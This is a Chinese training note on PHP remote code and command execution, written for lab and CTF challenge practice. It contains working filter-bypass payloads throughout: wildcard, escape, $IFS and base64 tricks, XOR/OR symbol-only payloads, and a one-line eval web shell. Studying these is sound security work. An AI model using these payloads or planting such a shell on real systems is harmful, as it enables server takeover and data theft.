第58天:RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
案例演示
RCE & 代码执行 & 命令执行
RCE-利用&绕过&异或&回显
白盒-CTF-RCE代码命令执行
黑盒-运行-RCE代码命令执行
知识点
1、RCE-原理-代码执行&命令执行
2、RCE-黑白盒-过滤绕过&不回显方案
RCE & 代码执行 & 命令执行
RCE代码执行简单案例
-
http://demo01/rce/test.php?c=phpinfo();
-
$code=phpinfo();
-
将phpinfo();当做当前语言代码去执行 这就代码执行漏洞
-
代码执行漏洞产生条件:可控变量code 触发函数eval
-
PHP常见代码执行函数
-
//eval()、assert()、preg_replace()、create_function()、 //array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
-
-
-
代码执行:
脚本——java,php,python
产生——Web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
RCE命令执行简单案例
-
$cmd = ver
ver查看系统版本信息
-
将ver当作当前系统命令去执行 这就是命令执行函数
-
产生条件:可控变量 cmd 触发函数system
-
PHP常见命令执行函数
-
//system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
-
-
命令执行:
系统——Linux、Windows
产生——web 源码、中间件平台、其他环境
检测——白盒 代码审计
检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点
防御——敏感函数禁用、变量过滤或固定、WAF 产品
RCE代码执行 ->命令执行
- 一般命令执行无法执行代码 但是可以调用执行 两者可以相互转换
- 这里就是用eval函数执行了system命令 相当于eval(system('ver')) 达成了代码执行和命令执行的相互转换
RCE命令执行 ->代码执行
-
用php去运行代码 创建一个1.php文件里面写上phpinfo();
-
在cmd里面 运行 php 1.php
-
-
touch 名字缩写.php echo '<?php eval($_POST['888']); ?>' > 名字缩写.php
2.Python:
eval exec subprocess os.system commands
3.Java:
Java 中没有类似 php 中 eval 函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL
等
RCE-利用&绕过&异或&回显
- 在本地目录下面创建一个文件 夹 flag
关键字过滤 - 过滤 flag
如何通不同的方式读取flag
通配符
flag=fl*
cat fl*
cat ?la* //?代表占位符
转义符号
ca\t /fl\ag
cat fl''ag
使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过
ca$*t fl$*ag
ca$@t fl$@ag //$@是linux里面声明变量 但是$@没有赋值 所以为空 因此干扰到了flag的匹配
ca$5t f$5lag
ca${2}t f${2}lag
拼接法
a=fl;b=ag;cat$IFS$a$b //$IFS代表空格 写不写无所谓
反引号绕过
cat `ls` //在php中这个`反引号代表执行命令的意思 在当前目录下只有flag 用cat执行ls命令读取flag结果
编码绕过
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
组合绝活
touch "ag"
touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell -t是指以时间来展示文件(从新到旧的顺序执行)
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
过滤执行命令(如cat tac等)
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容
curl file:///root/f/flag
strings flag
uniq -c flag
bash -v flag
rev flag
过滤执行空格
%09(url传递)(cat%09flag.php)
cat${IFS}flag
a=fl;b=ag;cat$IFS$a$b
{cat,flag}
- 就是传入的代码 使用正则匹配检测是否含有字母或数字(
i
表示不区分大小写)。如果包含,就立即die('hacker')
。
如何绕过?
-
使用异或运算生成无符号的过滤
-
1、异或:rce-xor.php & rce-xor.py绕过
-
会在当前目录下面生成一个res.txt
-
再在pycharm中使用rce-xor.py 运行res.txt 输入你要执行的函数和命令就会在下方生成一段payload 放到浏览器执行 显示信息
-
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%05%09"^"%7e%60%7b");
-
-
-
-
-
2.或: rce-xor-or.php & rce-xor-or.py绕过
-
这个跟上面的步骤一样
-
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60");
-
-
-
无回显利用
简单案例
- error_reporting(0);关闭所有错误输出,避免用户看到警告或报错信息。
- 我们无法从当前页面来知道我们的代码是否运行
如何无回显确定RCE漏洞存在
第一种:无回显写个文件访问查看
- 我们在后面写入文件
http://demo01/rce/rce-nodisplay.php?code=echo 123> 1.txt
- 访问1.txt 确定我们写入的文件成功 漏洞存在
第二种 直接对外访问接受
- 使用ping命令执行查看是否成功
- 平台:CEYE - Monitor service for security testing
白盒-CTF-RCE代码命令执行
29-通配符
- 这关把flag给过滤掉了 我们使用*模糊查询去绕过检测
- 这里使用eval函数使用代码执行去调用命令执行
?c=system('tac fla*');
30-取代函数&通配符&管道符
- 这关从代码可知将flag/system/php给进行了过滤
- 这里使用echo 将exec执行命令
?c=echo exec('cat fla*');
31-参数逃逸
- 这关将/flag|system|php|cat|sort|shell|都进行了过滤 但是依旧是没有过滤exec可以利用上一关的思路
- 这里我们使用?c=eval($_GET[x]);&x=system('tac flag.php');来进行绕过
32~36-配合包含&伪协议
黑盒-运行-RCE代码命令执行
RCE漏洞的本质就是 :代码中是否运行了危险函数?,这些危险函数是否可控?,有没有有效的输入过滤和输出转义?
代码在线运行平台测试